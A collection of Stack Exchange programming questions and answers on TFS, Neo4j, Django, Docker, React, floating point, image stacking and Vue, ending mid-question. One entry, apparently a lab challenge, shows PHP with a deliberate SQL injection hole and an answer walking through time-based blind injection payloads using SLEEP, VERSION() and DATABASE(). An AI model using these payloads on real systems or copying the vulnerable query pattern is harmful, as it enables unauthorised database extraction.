问:
TfsTeamProjectCollection get service returns null for WorkItemStore
I am experiencing a problem with getting work items from TFS server.
I have installed Microsoft.TeamFoundation.Client, Microsoft.TeamFoundation.WorkItemTracking.Client and Microsoft.TeamFoundationServer.ExtendedClient

I have Windows form application with following method:

```<code>TfsConfigurationServer configurationServer = TfsConfigurationServerFactory.GetConfigurationServer(tfsUri);
CatalogNode collectionNode = configurationServer.CatalogNode.QueryChildren(new[] { CatalogResourceTypes.ProjectCollection }, false, CatalogQueryOptions.None).FirstOrDefault();
Guid collectionId = new Guid(collectionNode.Resource.Properties["InstanceId"]);
TfsTeamProjectCollection teamProjectCollection = configurationServer.GetTeamProjectCollection(collectionId);
var workItemStore = (WorkItemStore)teamProjectCollection.GetService(typeof(WorkItemStore));
</code>```

All results before teamProjectCollection.GetService looks ok, however workItemStore is always null. Any ideas why i'm not getting service back?

I'm running Visual Studio 2015 on Win 10 x64.. Maybe it is to do with that?

UPDATED:
I found out this error

Reference to type 'Team Foundation Server' claims it is defined in 'Microsoft.TeamFoundation.Client', but it could not be found

答: After long day of debugging I found out that all reference must go to your start up project even though you are not using them it that project.... I have 5 different windows form projects on a solution and after adding those refs to startup project rest is working fine.... Not sure why or how but that fixed issue I had.</p>

Body:
I am experiencing a problem with getting work items from TFS server.
I have installed Microsoft.TeamFoundation.Client, Microsoft.TeamFoundation.WorkItemTracking.Client and Microsoft.TeamFoundationServer.ExtendedClient

I have Windows form application with following method:

TfsConfigurationServer configurationServer = TfsConfigurationServerFactory.GetConfigurationServer(tfsUri);
CatalogNode collectionNode = configurationServer.CatalogNode.QueryChildren(new[] { CatalogResourceTypes.ProjectCollection }, false, CatalogQueryOptions.None).FirstOrDefault();
Guid collectionId = new Guid(collectionNode.Resource.Properties["InstanceId"]);
TfsTeamProjectCollection teamProjectCollection = configurationServer.GetTeamProjectCollection(collectionId);
var workItemStore = (WorkItemStore)teamProjectCollection.GetService(typeof(WorkItemStore));

All results before teamProjectCollection.GetService looks ok, however workItemStore is always null. Any ideas why i'm not getting service back?

I'm running Visual Studio 2015 on Win 10 x64.. Maybe it is to do with that?

UPDATED:
I found out this error

Reference to type 'Team Foundation Server' claims it is defined in 'Microsoft.TeamFoundation.Client', but it could not be found


来源: stackexchange

问:
How to catch Neo4j TransientException: LockClient
I often get this kind of Exception

Exception in thread "main" org.neo4j.driver.v1.exceptions.TransientException: LockClient[21902] can't wait on resource RWLock[NODE(1423923), hash=286792765] since => LockClient[21902] <-[:HELD_BY]- RWLock[NODE(1419986), hash=869661492] <-[:WAITING_FOR]- LockClient[21905] <-[:HELD_BY]- RWLock[NODE(1423923), hash=286792765]

when I run Neo4j queries in my Java application. Now, this question has a good answer to the reason why this error occurs, and I can't do anything to improve my queries: I just need them as they are.

My question is: how can I catch this kind of exception? It occurs at this line of my code:

```<code>session.run(query, parameters);
</code>```

but the Javadoc doesn't show any apparent Exception to be catched with a try-catch block.

Thanks in advance.

答:
This is because TransientException is a runtime exception (E.G. a subclass of Java.lag.RuntimeException). It is not required to be in the method signature, and you are not required to put he method in a Try...Catch block. Try putting that line within a try...catch block and you should not get that exception anymore. How you handle it depends on the nature of your application. You could print a warning to log, and then error in the application, or even keep trying until the code worked.

Edit: after reading the answer you linked, I understand why you are getting these exceptions. I would put a Thread.sleep() in the catch block, then attempt the query again, in which case the error should go away.  But then again, I am in no way a Neo4j expert so take my advice with a grain (truckload ) of salt

Edit 2: your code should look somewhat like this:

```<code>for(Query query : queries){
  boolean flag = false;
  while(!flag){
    try{
      query.execute();
      flag = true;
    } catch (TransientException e){
      log("Retrying query "+query);
      Thread.sleep(1*1000); //1 second
    }
  }
}
</code>```

ContentLicense: CC BY-SA 3.0

Body:
I often get this kind of Exception

Exception in thread "main" org.neo4j.driver.v1.exceptions.TransientException: LockClient[21902] can't wait on resource RWLock[NODE(1423923), hash=286792765] since => LockClient[21902] <-[:HELD_BY]- RWLock[NODE(1419986), hash=869661492] <-[:WAITING_FOR]- LockClient[21905] <-[:HELD_BY]- RWLock[NODE(1423923), hash=286792765]

when I run Neo4j queries in my Java application. Now, this question has a good answer to the reason why this error occurs, and I can't do anything to improve my queries: I just need them as they are.

My question is: how can I catch this kind of exception? It occurs at this line of my code:

session.run(query, parameters);

but the Javadoc doesn't show any apparent Exception to be catched with a try-catch block.

Thanks in advance.

Body:
This is because TransientException is a runtime exception (E.G. a subclass of Java.lag.RuntimeException). It is not required to be in the method signature, and you are not required to put he method in a Try...Catch block. Try putting that line within a try...catch block and you should not get that exception anymore. How you handle it depends on the nature of your application. You could print a warning to log, and then error in the application, or even keep trying until the code worked.

Edit: after reading the answer you linked, I understand why you are getting these exceptions. I would put a Thread.sleep() in the catch block, then attempt the query again, in which case the error should go away.  But then again, I am in no way a Neo4j expert so take my advice with a grain (truckload ) of salt

Edit 2: your code should look somewhat like this:

for(Query query : queries){
  boolean flag = false;
  while(!flag){
    try{
      query.execute();
      flag = true;
    } catch (TransientException e){
      log("Retrying query "+query);
      Thread.sleep(1*1000); //1 second
    }
  }
}


问:
Do .NET Core console apps have a memory ceiling?
I have successfully deployed a series of solutions as .NET Core console apps. These run successfully under normal circumstances but often it appears the data load (using EntityFramework Core query with .ToList() to retain in memory for multiple accesses) seems to be blowing the process with no error but never at the same place. Does anyone know any established memory or process limits on .NET Core C# console apps to be aware of?  I never exceed the CPU or Memory on the hosting machine.  It tends to be that a list once accessed for the first time after .ToList() executed earlier in the code with a hefty query that fueled it will do an null object exception on the list.

This is .NET Core 2.0.0 SDK at this point.

If you know of published limits that would be excellent.  I am going to try using MiniProfiler to do forensics as well.  TIA.

答: The answer to this question was two-fold.  First...changing to x64 versus AnyCPU increased some ceiling but secondly the .Include() method in EntityFramework Core should be used sparingly and profiled.  This exploded the in-memory graph as well.  So yes a simple question which two people downgraded my question for may have been a simple answer yet it was exacerbated with .Include() that is a helper method yet can hurt you if not properly profiled and used.</p>


问:
django admin returns 403 csrf error
I am producing a django/angular project. Django being the backend administration and Angular being the frontend/public display. I have created a Django 1.11 app and loaded all files, installed dependencies, etc. Locally, the site works fine and as expected. Also, since forms will be Angular js I commented out the django.middleware.csrf.CsrfViewMiddleware in my settings.py which I thought would disable the csrf token even being needed, but apparently not.

After setting up server and installing files the admin login page appears but I get the following error when I try and login:

```<code>Forbidden (CSRF token missing or incorrect.): /admin/login/
</code>```

Any ideas on why this is happening would be greatly appreciated.

答: You can't commented out the 'django.middleware.csrf.CsrfViewMiddleware' in your settings.py, The CSRF middleware provides easy-to-use protection against Cross Site Request Forgeries. Since you are using Augualr js instead of django forms and views, you can set the csrftoken cookie in your browser cookies. Check this for detail: https://docs.djangoproject.com/en/1.11/ref/csrf/#module-django.middleware.csrf</p>

Title: django admin returns 403 csrf error

Body:
I am producing a django/angular project. Django being the backend administration and Angular being the frontend/public display. I have created a Django 1.11 app and loaded all files, installed dependencies, etc. Locally, the site works fine and as expected. Also, since forms will be Angular js I commented out the django.middleware.csrf.CsrfViewMiddleware in my settings.py which I thought would disable the csrf token even being needed, but apparently not.

After setting up server and installing files the admin login page appears but I get the following error when I try and login:

Forbidden (CSRF token missing or incorrect.): /admin/login/

Any ideas on why this is happening would be greatly appreciated.


问:
Dockerize existing Django project
I can't wrap my head around how to dockerize existing Django app.
I've read this official manual by Docker explaining how to create Django project during the creation of Docker image, but what I need is to dockerize existing project using the same method.

The main purpose of this approach is that I have no need to build docker images locally all the time, instead what I want to achieve is to push my code to a remote repository which has docker-hub watcher attached to it and as soon as the code base is updated it's being built automatically on the server.

For now my Dockerfile looks like:

```<code>FROM python:3
ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
ADD requirements.txt /code/
RUN pip install Django
RUN pip install djangorestframework
RUN pip install PyQRCode
ADD . /code/
</code>```

Can anyone please explain how should I compose Dockerfile and do I need to use docker-compose.yml (if yes: how?) to achieve functionality I've described?

Solution for this question:

```<code>FROM python:3
ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
RUN pip install *name of package*
RUN pip install *name of another package*
ADD . /code/
EXPOSE 8000
CMD python3 manage.py runserver 0.0.0.0:8000
</code>```

OR

```<code>FROM python:3
ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
ADD requirements.txt /code/
RUN pip install -r requirements.txt
ADD . /code/
EXPOSE 8000
CMD python3 manage.py runserver 0.0.0.0:8000
</code>```

requirements.txt should be a plain list of packages, for example:

```<code>Django==1.11
djangorestframework
pyqrcode
pypng
</code>```

答:
This question is too broad. What happens with the Dockerfile you've created?

You don't need docker compose unless you have multiple containers that need to interact.

Some general observations from your current Dockerfile:

It would be better to collapse the pip install commands into a single statement. In docker, each statement creates a file system layer, and the layers in between the pip install commmands probably serve no useful purpose.

It's better to declare dependencies in setup.py or a requirements.txt file (pip install -r requirements.txt), with fixed version numbers (foopackage==0.0.1) to ensure a repeatable build.

I'd recommend packaging your Django app into a python package and installing it with pip (cd /code/; pip install .) rather than directly adding the code directory.

You're missing a statement (CMD or ENTRYPOINT) to execute the app. See https://docs.docker.com/engine/reference/builder/#cmd

ContentLicense: CC BY-SA 4.0

Title: Dockerize existing Django project

Body:
I can't wrap my head around how to dockerize existing Django app.
I've read this official manual by Docker explaining how to create Django project during the creation of Docker image, but what I need is to dockerize existing project using the same method.

The main purpose of this approach is that I have no need to build docker images locally all the time, instead what I want to achieve is to push my code to a remote repository which has docker-hub watcher attached to it and as soon as the code base is updated it's being built automatically on the server.

For now my Dockerfile looks like:

FROM python:3
ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
ADD requirements.txt /code/
RUN pip install Django
RUN pip install djangorestframework
RUN pip install PyQRCode
ADD . /code/

Can anyone please explain how should I compose Dockerfile and do I need to use docker-compose.yml (if yes: how?) to achieve functionality I've described?

Solution for this question:

FROM python:3
ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
RUN pip install *name of package*
RUN pip install *name of another package*
ADD . /code/
EXPOSE 8000
CMD python3 manage.py runserver 0.0.0.0:8000

OR

FROM python:3
ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
ADD requirements.txt /code/
RUN pip install -r requirements.txt
ADD . /code/
EXPOSE 8000
CMD python3 manage.py runserver 0.0.0.0:8000

requirements.txt should be a plain list of packages, for example:

Django==1.11
djangorestframework
pyqrcode
pypng


问:
Setting up multi-select with react-select
I'm probably just overlooking something, but I am unable to figure out why I can't seem to configure a multi-select with react-select.

Here's a working example of what I'm seeing.

Notice that only one item can be selected on the multiselect, and then the dropdown no longer loads until the current item is cleared. Also, when the item is cleared, and you can see all the options, it looks like the highlight on mouseover no longer works.

Code:

```<code>import React from "react";
import { render } from "react-dom";
import Select from "react-select";
import "react-select/dist/react-select.css";

class App extends React.Component {
  constructor() {
    super();
    this.state = {
      multiValue: null,
      filterOptions: [
        { name: "foo", label: "Foo" },
        { name: "bar", label: "Bar" },
        { name: "bat", label: "Bat" }
      ]
    };

    this.handleMultiChange = this.handleMultiChange.bind(this);
  }

  handleMultiChange(option) {
    this.setState(state => {
      return {
        multiValue: option
      };
    });
    console.log(option);
  }

  render() {
    return (
      <div>
        <label>Multi (not working)</label>
        <Select
          name="filters"
          placeholder="Filters"
          value={this.state.multiValue}
          options={this.state.filterOptions}
          onChange={this.handleMultiChange}
          multi
        />
      </div>
    );
  }
}

render(<App />, document.getElementById("root"));
</code>```

答:
You'd set the wrong key name instead of value for the select options

Working example: https://codesandbox.io/s/yj804nzpv

Body:
I'm probably just overlooking something, but I am unable to figure out why I can't seem to configure a multi-select with react-select.

Here's a working example of what I'm seeing.

Notice that only one item can be selected on the multiselect, and then the dropdown no longer loads until the current item is cleared. Also, when the item is cleared, and you can see all the options, it looks like the highlight on mouseover no longer works.

Code:

import React from "react";
import { render } from "react-dom";
import Select from "react-select";
import "react-select/dist/react-select.css";

class App extends React.Component {
  constructor() {
    super();
    this.state = {
      multiValue: null,
      filterOptions: [
        { name: "foo", label: "Foo" },
        { name: "bar", label: "Bar" },
        { name: "bat", label: "Bat" }
      ]
    };

    this.handleMultiChange = this.handleMultiChange.bind(this);
  }

  handleMultiChange(option) {
    this.setState(state => {
      return {
        multiValue: option
      };
    });
    console.log(option);
  }

  render() {
    return (

        Multi (not working)
        <Select
          name="filters"
          placeholder="Filters"
          value={this.state.multiValue}
          options={this.state.filterOptions}
          onChange={this.handleMultiChange}
          multi
        />

    );
  }
}

render(<App />, document.getElementById("root"));


问:
How many integers can be represented with floating point in IEEE-754 with single precision?
Can someone please help me understand how to calculate how many integers (a whole number, not a fractional number) can be represented with floating point in IEEE-754 with single precision?</p>

答:
How many integers can be represented with floating point in IEEE-754 with Single precision?

There are various ways to determine this.

IEEE-754 with Single precision or binary32 can encode all integer values 0 to 224  - the encoding has 24 bits of precision (23 explicitly encoded + 1 implied).  So with negatives (and not -0),

```<code>(- 2^24 ... 2^24) is 0x2000000 - 1 different integer values
</code>```

All finite FP values  224 and higher are also whole numbers or "integers".

From function to retrieve the number of available distinct values within a range? is the following no-so-portable C code that returns a sequence number for each float which is often binary32.

```<code>#include <stdint.h>
#include <string.h>
// Return a sequence number for each `float` value.
// Numerically sequential `float` values will have successive (+1) sequence numbers.
uint32_t float_sequence(float x) {
  uint32_t u32;
  memcpy(&u32, &x, sizeof u32);
  if (u32 & 0x80000000) {
    u32 ^= 0x80000000;
    return 0x80000000 - u32;
  }
  return u32 + 0x80000000;
}
</code>```

With float_sequence(FLT_MAX) - float_sequence(1 << 24) + 1, we have the number of finite float >= 224.

```<code>int main(void) {
  int32_t imax = 1L << 24;
  printf("%" PRIx32 "\n", float_sequence(FLT_MAX) - float_sequence((float)imax) + 1);
  printf("%" PRIx32 "\n", (uint32_t) (imax - -imax) - 1);
  printf("%" PRIx32 "\n", float_sequence((float) -imax) - float_sequence(-FLT_MAX) + 1);
  return 0;
}
</code>```

Output

```<code>34000000
1ffffff
34000000
</code>```

So a total of 0x69FFFFFF  or 1,778,384,895 integer values or about 41% of all possible binary32 bit patterns.

One more if -0 is to be consider different than +0.

Note that the maximum finite binary32 (with a sign) would need a 128 bit integer to store it as an integer.

If one limited the integers to 64-bit 2's complement ones, the set count would be  0x29FFFFFE or 704,643,070.

Body:
How many integers can be represented with floating point in IEEE-754 with Single precision?

There are various ways to determine this.

IEEE-754 with Single precision or binary32 can encode all integer values 0 to 224  - the encoding has 24 bits of precision (23 explicitly encoded + 1 implied).  So with negatives (and not -0),

(- 2^24 ... 2^24) is 0x2000000 - 1 different integer values

All finite FP values  224 and higher are also whole numbers or "integers".

From function to retrieve the number of available distinct values within a range? is the following no-so-portable C code that returns a sequence number for each float which is often binary32.

#include <stdint.h>
#include <string.h>
// Return a sequence number for each `float` value.
// Numerically sequential `float` values will have successive (+1) sequence numbers.
uint32_t float_sequence(float x) {
  uint32_t u32;
  memcpy(&u32, &x, sizeof u32);
  if (u32 & 0x80000000) {
    u32 ^= 0x80000000;
    return 0x80000000 - u32;
  }
  return u32 + 0x80000000;
}

With float_sequence(FLT_MAX) - float_sequence(1 << 24) + 1, we have the number of finite float >= 224.

int main(void) {
  int32_t imax = 1L << 24;
  printf("%" PRIx32 "\n", float_sequence(FLT_MAX) - float_sequence((float)imax) + 1);
  printf("%" PRIx32 "\n", (uint32_t) (imax - -imax) - 1);
  printf("%" PRIx32 "\n", float_sequence((float) -imax) - float_sequence(-FLT_MAX) + 1);
  return 0;
}

Output

34000000
1ffffff
34000000

So a total of 0x69FFFFFF  or 1,778,384,895 integer values or about 41% of all possible binary32 bit patterns.

One more if -0 is to be consider different than +0.

Note that the maximum finite binary32 (with a sign) would need a 128 bit integer to store it as an integer.

If one limited the integers to 64-bit 2's complement ones, the set count would be  0x29FFFFFE or 704,643,070.


问:
Finding sql-query for time-based blind sqlinjection
I have simple web application that allows to post a message to a MySQL database.
My challenge is to get all the information about that Database.
Unfortunately there's no output so I have to do a time-based blind injection.

This payload works and the response takes 5 seconds to reach the client.

```<code>' RLIKE SLEEP(5) AND '1'='1
</code>```

I have to somehow replace the '1'='1 so I can check for table names or users.

Any idea??

Following is the code with the vulnerable query.

```<code><?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>
</code>```

(Disclaimer: This is a challenge and I'm working on a private server inside a VM. Nothing unethical is going on here)

答:
Looking into your code only the field feedback is vulnerable to timebased blind SQL injection vectors.

Create database/create table

```<code>CREATE DATABASE IF NOT EXISTS hackdb;

CREATE TABLE IF NOT EXISTS feedback (
  feedback VARCHAR(255)
);
</code>```

You can inject using (SELECT ...) into feedback column because this is valid SQL.

Query

```<code>INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 1)
)
</code>```

Result

```<code>1 row(s) affected

Execution Time : 0.013 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec
</code>```

Test the timebased blind SQL injection vector.

Query

```<code>INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT SLEEP(5))
)
</code>```

Result

```<code>1 row(s) affected

Execution Time : 5.717 sec
Transfer Time  : 0 sec
Total Time     : 5.718 sec
</code>```

And we are good to go.
Let's find out the database version.

We can use MySQL's VERSION() function for that

Query

```<code>INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
     WHEN VERSION() LIKE '5.1%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM
  DUAL
 )
)
</code>```

Result

```<code>1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec
</code>```

No bingo

Query

```<code>INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
     WHEN VERSION() LIKE '5.7%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM
  DUAL
 )
)
</code>```

Result

```<code>1 row(s) affected

Execution Time : 5.733 sec
Transfer Time  : 0 sec
Total Time     : 5.734 sec
</code>```

Bingo.

Now we are going to find the database in use.
We can use MySQL's DATABASE() function for that.

Query

```<code>INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM
 DUAL
 )
)
</code>```

Result

```<code>1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.015 sec
</code>```

No bingo

Query

```<code>INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM
 DUAL
 )
)
</code>```

Result

```<code>1 row(s) affected

Execution Time : 5.715 sec
Transfer Time  : 0 sec
Total Time     : 5.716 sec
</code>```

Bingo

Now you can add a second char into the LIKE part and so on.

I have given you some basic timebased blind SQL injection vectors.

It's up to you to find the tables in the database

I don't want to spoil your complete challenge.

Body:
I have simple web application that allows to post a message to a MySQL database.
My challenge is to get all the information about that Database.
Unfortunately there's no output so I have to do a time-based blind injection.

This payload works and the response takes 5 seconds to reach the client.

' RLIKE SLEEP(5) AND '1'='1

I have to somehow replace the '1'='1 so I can check for table names or users.

Any idea??

Following is the code with the vulnerable query.

<?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>

(Disclaimer: This is a challenge and I'm working on a private server inside a VM. Nothing unethical is going on here)

Body:
Looking into your code only the field feedback is vulnerable to timebased blind SQL injection vectors.

Create database/create table

CREATE DATABASE IF NOT EXISTS hackdb;

CREATE TABLE IF NOT EXISTS feedback (
  feedback VARCHAR(255)
);

You can inject using (SELECT ...) into feedback column because this is valid SQL.

Query

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 1)
)

Result

1 row(s) affected

Execution Time : 0.013 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

Test the timebased blind SQL injection vector.

Query

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT SLEEP(5))
)

Result

1 row(s) affected

Execution Time : 5.717 sec
Transfer Time  : 0 sec
Total Time     : 5.718 sec

And we are good to go.
Let's find out the database version.

We can use MySQL's VERSION() function for that

Query

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
     WHEN VERSION() LIKE '5.1%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM
  DUAL
 )
)

Result

1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

No bingo

Query

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
     WHEN VERSION() LIKE '5.7%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM
  DUAL
 )
)

Result

1 row(s) affected

Execution Time : 5.733 sec
Transfer Time  : 0 sec
Total Time     : 5.734 sec

Bingo.

Now we are going to find the database in use.
We can use MySQL's DATABASE() function for that.

Query

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM
 DUAL
 )
)

Result

1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.015 sec

No bingo

Query

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM
 DUAL
 )
)

Result

1 row(s) affected

Execution Time : 5.715 sec
Transfer Time  : 0 sec
Total Time     : 5.716 sec

Bingo

Now you can add a second char into the LIKE part and so on.

I have given you some basic timebased blind SQL injection vectors.

It's up to you to find the tables in the database

I don't want to spoil your complete challenge.


问:
Crop Part of CALayer
.

I want to crop out the Red triangle part from the CAshapelayer.

This is the code i used for drawing it:

Radial Gradient background in Swift and my code is:

```<code>let bgLayer = RadialGradientLayer(center: speed_dial_center_point, radius: speed_dial_size.width/2, colors: [UIColor.clear.cgColor,UIColor(red: 211/255, green: 211/255, blue: 211/255, alpha: 0.5).cgColor],speed_scale_margin: speed_scale_margin)//CALayer()
            bgLayer.frame = CGRect(origin: rect.origin, size: speed_dial_size)
            bgLayer.contentsScale = self.layer.contentsScale
            bgLayer.setNeedsDisplay()
            backgondArc_Layer.addSublayer(bgLayer)
            self.layer.insertSublayer(backgondArc_Layer, below: speed_dial_layer)
</code>```

答: So add a mask layer to your gradient layer that masks out the part you want to remove.</p>

Title: Crop Part of CALayer

Body:
.

I want to crop out the Red triangle part from the CAshapelayer.

This is the code i used for drawing it:

Radial Gradient background in Swift and my code is:

let bgLayer = RadialGradientLayer(center: speed_dial_center_point, radius: speed_dial_size.width/2, colors: [UIColor.clear.cgColor,UIColor(red: 211/255, green: 211/255, blue: 211/255, alpha: 0.5).cgColor],speed_scale_margin: speed_scale_margin)//CALayer()
            bgLayer.frame = CGRect(origin: rect.origin, size: speed_dial_size)
            bgLayer.contentsScale = self.layer.contentsScale
            bgLayer.setNeedsDisplay()
            backgondArc_Layer.addSublayer(bgLayer)
            self.layer.insertSublayer(backgondArc_Layer, below: speed_dial_layer)


问:
Creating a tiff stack from individual tiffs in python
I am creating tiff stacks of different sizes based on the example found here:
http://www.bioimgtutorials.com/2016/08/03/creating-a-z-stack-in-python/

A sample of the tif files can be downloaded here:
nucleus

I have a folder with 5 tiff files inside.
I want to stack them to be able to open them in imageJ so that they look like this:

And this works with the following code:

```<code>from skimage import io
import numpy as np
import os

dir = 'C:/Users/Mich/Desktop/tiff stack/'

listfiles =[]

for img_files in os.listdir(dir):
    if img_files.endswith(".tif") :
        listfiles.append(img_files)

first_image = io.imread(dir+listfiles[0])

io.imshow(first_image)

first_image.shape

stack = np.zeros((5,first_image.shape[0],first_image.shape[1]),np.uint8)

for n in range(0,5):
    stack[n,:,:]= io.imread(dir+listfiles[n])

path_results = 'C:/Users/Mich/Desktop/'
io.imsave(path_results+'Stack.tif' ,stack)
</code>```

The problem comes when I just want to stack the 4 first ones or the 3 first ones.

Example with 4 tiff images:

```<code>   stack=np.zeros((4,first_image.shape[0],first_image.shape[1]),np.uint8)

   for n in range(0,4):
       stack[n,:,:]= io.imread(dir+listfiles[n])
</code>```

Then I obtain this kind of result:

and while trying to stack the 3 first images of the folder, they get combined!

```<code>   stack=np.zeros((3,first_image.shape[0],first_image.shape[1]),np.uint8)

   for n in range(0,3):
       stack[n,:,:]= io.imread(dir+listfiles[n])
</code>```

Where am I wrong in the code, so that it dosent just add the individual tiff in a multidimensional stack of the sizes 3, 4 or 5 ?

答:
Specify the color space of the image data (photometric='minisblack'), otherwise the tifffile plugin will guess it from the shape of the input array.

This is a shorter version using tifffile directly:

```<code>import glob
import tifffile

with tifffile.TiffWriter('Stack.tif') as stack:
    for filename in glob.glob('nucleus/*.tif'):
        stack.save(
            tifffile.imread(filename),
            photometric='minisblack',
            contiguous=True
        )
</code>```

Body:
I am creating tiff stacks of different sizes based on the example found here:
http://www.bioimgtutorials.com/2016/08/03/creating-a-z-stack-in-python/

A sample of the tif files can be downloaded here:
nucleus

I have a folder with 5 tiff files inside.
I want to stack them to be able to open them in imageJ so that they look like this:

And this works with the following code:

from skimage import io
import numpy as np
import os

dir = 'C:/Users/Mich/Desktop/tiff stack/'

listfiles =[]

for img_files in os.listdir(dir):
    if img_files.endswith(".tif") :
        listfiles.append(img_files)

first_image = io.imread(dir+listfiles[0])

io.imshow(first_image)

first_image.shape

stack = np.zeros((5,first_image.shape[0],first_image.shape[1]),np.uint8)

for n in range(0,5):
    stack[n,:,:]= io.imread(dir+listfiles[n])

path_results = 'C:/Users/Mich/Desktop/'
io.imsave(path_results+'Stack.tif' ,stack)

The problem comes when I just want to stack the 4 first ones or the 3 first ones.

Example with 4 tiff images:

   stack=np.zeros((4,first_image.shape[0],first_image.shape[1]),np.uint8)

   for n in range(0,4):
       stack[n,:,:]= io.imread(dir+listfiles[n])

Then I obtain this kind of result:

and while trying to stack the 3 first images of the folder, they get combined!

   stack=np.zeros((3,first_image.shape[0],first_image.shape[1]),np.uint8)

   for n in range(0,3):
       stack[n,:,:]= io.imread(dir+listfiles[n])

Where am I wrong in the code, so that it dosent just add the individual tiff in a multidimensional stack of the sizes 3, 4 or 5 ?

Body:
Specify the color space of the image data (photometric='minisblack'), otherwise the tifffile plugin will guess it from the shape of the input array.

This is a shorter version using tifffile directly:

import glob
import tifffile

with tifffile.TiffWriter('Stack.tif') as stack:
    for filename in glob.glob('nucleus/*.tif'):
        stack.save(
            tifffile.imread(filename),
            photometric='minisblack',
            contiguous=True
        )


问:
alert errors from console
I'm using a tabletop js to connect my javascript to spreadsheet.

JSfiddle: https://jsfiddle.net/fbLdxqdp/2/
I have this onclick button function to submit the url of my spreadsheet:

```<code>$("button").click(function(){
    // find closes textareau in this specific button DIV
    $(this).parent().find('textarea').select();
    document.execCommand('copy');

    var error_msg = console.error(message);
    alert(error_msg)
});
</code>```

If I enter the URL correctly, then I can work on the spreadsheet w/o any issues.

BUT if i have the wrong URL, i will get a console error.

How can I alert my self if I enter the wrong URL? Please see this screenshot for the error console: https://www.screencast.com/t/SAVKUn8V

the full javascript html: https://pastebin.com/DP6dkyxr

答:
In your code you have assigning return value of console.error to error_msg there is no such a thing console.error don't return a value.

try as follows,

```<code> alert(message)
</code>```

Title: alert errors from console

Body:
I'm using a tabletop js to connect my javascript to spreadsheet.

JSfiddle: https://jsfiddle.net/fbLdxqdp/2/
I have this onclick button function to submit the url of my spreadsheet:

$("button").click(function(){
    // find closes textareau in this specific button DIV
    $(this).parent().find('textarea').select();
    document.execCommand('copy');

    var error_msg = console.error(message);
    alert(error_msg)
});

If I enter the URL correctly, then I can work on the spreadsheet w/o any issues.

BUT if i have the wrong URL, i will get a console error.

How can I alert my self if I enter the wrong URL? Please see this screenshot for the error console: https://www.screencast.com/t/SAVKUn8V

the full javascript html: https://pastebin.com/DP6dkyxr

Body:
In your code you have assigning return value of console.error to error_msg there is no such a thing console.error don't return a value.

try as follows,

 alert(message)


问:
Vue JS fire a method based on another method's output unique ID
I'm trying to render a list of notes and in that list I would like to include the note's user name based on the user_id stored in the note's table. I have something like this, but at the moment it is logging an error stating Cannot read property 'user_id' of undefined, which I get why.

My question is, in Vue how can something like this be executed?

Template:

```<code><div v-for="note in notes">
   <h2>{{note.title}}</h2>
   <em>{{user.name}}</em>
</div>
</code>```

Scripts:

```<code>methods:{
   fetchNotes(id){
      return this.$http.get('http://api/notes/' + id )
      .then(function(response){
         this.notes = response.body;
      });
   },
   fetchUser(id){
      return this.$http.get('http://api/user/' + id )
      .then(function(response){
         this.user = response.body;
      });
   }
},
created: function(){
   this.fetchNotes(this.$route.params.id)
   .then( () => {
      this.fetchUser(this.note.user_id);
   });
}
</code>```

UPDATE:

I modified my code to look like the below example, and I'm getting better results, but not 100% yet. With this code, it works the first time it renders the view, if I navigate outside this component and then back in, it then fails...same thing if I refresh the page.

